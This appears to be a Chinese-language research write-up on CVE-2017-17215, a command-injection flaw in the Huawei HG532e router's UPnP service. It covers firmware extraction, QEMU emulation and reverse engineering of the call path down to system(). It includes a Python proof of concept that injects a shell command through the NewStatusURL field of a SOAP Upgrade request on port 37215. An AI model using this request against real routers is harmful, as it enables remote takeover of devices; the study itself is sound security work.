😀

CVE-2017-17215 HG532e路由器远程命令执行漏洞分析

---

简述

华为HG532部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以将恶意数据包发送到upnp服务的端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。

环境配置

官方未提供固件 使用第三方提供的固件 固件未加密 可以直接提取出文件系统

bash
binwalk -Me ./HG532eV100R001C01B020_upgrade_packet.bin

模拟环境采用手动模拟 根据了解漏洞存在于upnp中 经过查看 发现upnp架构为MIPS 32位 大端序

从Debian官网下载相关环境

• vmlinux-2.6.32-5-4kc-malta
• debian_squeeze_mipsel_standard.qcow2

配置虚拟网卡

bash
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24

启动QEMU虚拟机 账户密码root-root

bash
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic

配置虚拟机网卡 配置完成后与物理机相连

bash
$ ifconfig eth0 10.10.10.2/24

使用scp将之前解压的文件系统传入虚拟机 挂载目录 然后使用chroot切换根目录

bash
$ scp -r ./squashfs-root/ root@10.10.10.2:/root/
$ mount -o bind /dev ./squashfs-root/dev
$ mount -t proc /proc ./squashfs-root/proc

使用ssh新开一个shell连接进虚拟机 一样切换根目录

bash
$ ssh root@10.10.10.2
$ chroot ./squashfs-root/ sh

使用ssh的shell 启动mic服务

bash
$ mic

mic服务会更改接口的ip地址 改回来即可

关闭物理机Firefox的安全相关检测

先地址栏输入about

进入高级首选项 然后搜索security.tls.version.enable-deprecated 将默认的 false改为 true

此时 物理机已经可以访问到路由器的Web端

漏洞复现

POC如下

python
import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;echo "1234";</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://10.10.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

漏洞分析

根据漏洞文档 漏洞存在于upnp协议中 但是启动的是mic 首先先来 看看mic都执行了哪些操作 使用Binary Ninja打开mic

可以看到main函数中输出字符串String mic now..与程序输出吻合 可以确定main函数为执行起点

重点关注的是mic与upnp之间的交互 搜索字符串upnp 可以看到在sub_402304和MicMsgProc中都有引用

追入sub_402304发现 sub_402304由MicMsgProc调用 且根据函数名猜测sub_402304功能为通过upnp字符串查找应用程序 然后启动该应用程序

追入MicMsgProc 发现其由main函数调用

那么upnp启动的调用链已经明晰 main() -> MicMsgProc() -> sub_402304() 至此按照常理来说upnp服务已经启动 继续分析upnp即可

使用Binary Ninja打开upnp 前面基本都是一些参数配置 没有值得关注的点 可以看到在402e50的位置调用了ATP_UPNP_GetMacAddr下面调用了ATP_UPNP_GetDeviceInfo来获取设备情况 证明都是些基础设置

在402edc处检测确定upnp已经配置启动之后 调用了ATP_UTIL_SocketCreateServer配置Socket相关信息 其中0x915f=37215 然后在0x402f50处开始监听 后面继续配置了一个Socket用于SSL验证 这里不再给出 总体而言main函数主要负责Upnp服务的启动等基础配置

通过漏洞报告得知 存在的是一个命令执行漏洞 首要想查的就是system 这里可以先摸一下system的引用 可以看到有三个函数sub_4031ac upnpRestoreState sub_40749c引用了system 接下来就是逐一排查下 看看有没有漏洞点

首先是sub_4031ac 很明显执行的指令都是不可控的 可以pass


upnpRestoreState同理 pass

sub_40749c有意思了 很明显在调用之前使用snprintf动态解析了参数 且解析的变量var_418 $v0_3都与传入的参数arg1有关 通过函数名猜测ATP_XML_GetChildNodeByName是从XML中根据Name获取结点的属性值 可以怀疑其值是XML中NewDownloadURL和NewStatusURL的值

但是这时发现针对于sub_40748c没有引用 怀疑是跟之前的file_operations结构体一样 有一个函数表 对于这种情况可以直接按照byte搜索整个程序段中是否有关于0x40749c的数据 通过搜索 发现一个全局变量中存在0x40749c

可以看到有三个函数引用了该变量 分别为UPnPGetActionByName UpnpGetActListByActName ATP_UPNP_RegAction 通过函数名基本判断前两个函数都与参数传递有关 重点关注前两个函数

首先先来看看UPnPGetActionByName 其中关于0x4060**很明显都是刚刚看过的全局变量的附近 在40d900处更是直接索引到了407c9c也就是我们怀疑存在漏洞的位置上 而程序能不能流向该处于UPnPGetActionByName的参数也息息相关


继续一层层往上追 可以看到UPnPGetActionByName被sub_40a9c8调用

sub_40a9c8被sub_40b5b4调用

sub_40b5b4被ATP_UPNP_Init和sub_40bd64调用(最后都会回归ATP_UPNP_Init)

ATP_UPNP_Init最终被main调用

可以看到这里是必定调用的 因为端口绑定在下面 如果没有调用的话端口就不会绑定 则如果实现的话第一条调用路径为main() -> ATP_UPNP_Init() -> sub_40b5b4() -> sub_40a9c8() -> UPnPGetActionByName() -> sub_40748c() 其余路径不再一一展开 大部分都是走的别的路径最后回归ATP_UPNP_Init()

静态分析到这里其实已经走进死胡同了 一个是路径过多的问题 还有就是静态分析其中函数传递的参数是不现实的 并且还要考虑到条件语句的问题 包括其实最开始这个漏洞并不是漏洞挖掘发现的 是僵尸网络攻击被抓到流量才发现的 所以放弃静态分析构建POC 且Web端没有发现/ctrlt相关的接口 不知道是怎么挖出来的...